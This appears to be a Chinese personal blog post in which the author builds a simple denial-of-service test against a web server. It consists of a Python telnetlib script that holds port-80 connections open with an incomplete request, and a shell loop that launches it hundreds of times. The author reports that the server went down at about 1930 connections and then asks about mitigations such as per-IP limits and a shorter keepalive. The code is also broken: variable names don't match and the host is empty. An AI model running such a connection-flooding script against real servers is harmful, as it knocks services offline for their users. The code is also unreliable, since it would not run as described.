看到了google上的一篇关于web安全的讲义http://code.google.com/edu/submissions/web_security/listing.html
觉得值得试试,刚好在学习Python,看到了telnetlib觉得挺有意思,用作网络交互确实比shell script下用expect方便很多,于是写用python做了个小程序来对服务器的80端口做个DoS试下。
dos.py
#!/usr/bin/python
from telnetlib import Telnet
h=Telnet('',80)
h.write('get / HTTP/1.0 \r\n')
h.read_all()
执行一下,
没有响应,呵呵,连接已经建立,这说明服务已经建立。
写一个shell script
#!/bin/sh
TIMES=500
I=1
while [ $i -lt $TIME ];
do
./dos.py&
echo "$I Connection Established"
((i=$i+1))
done
执行,500个建立,检查服务器,ok,再发送500个,依然ok,再发,再发,啊偶,翘了,首页打不开了:( 等到连接超时被释放,服务器才又可以被访问。
仅仅一台主机发送1930个连接就耗尽了服务器资源,看来风险不小啊。
怎么办呢。
限制同一个IP的连接数量是一个办法,同时把keepalive的时间调整的更短。还有什么办法?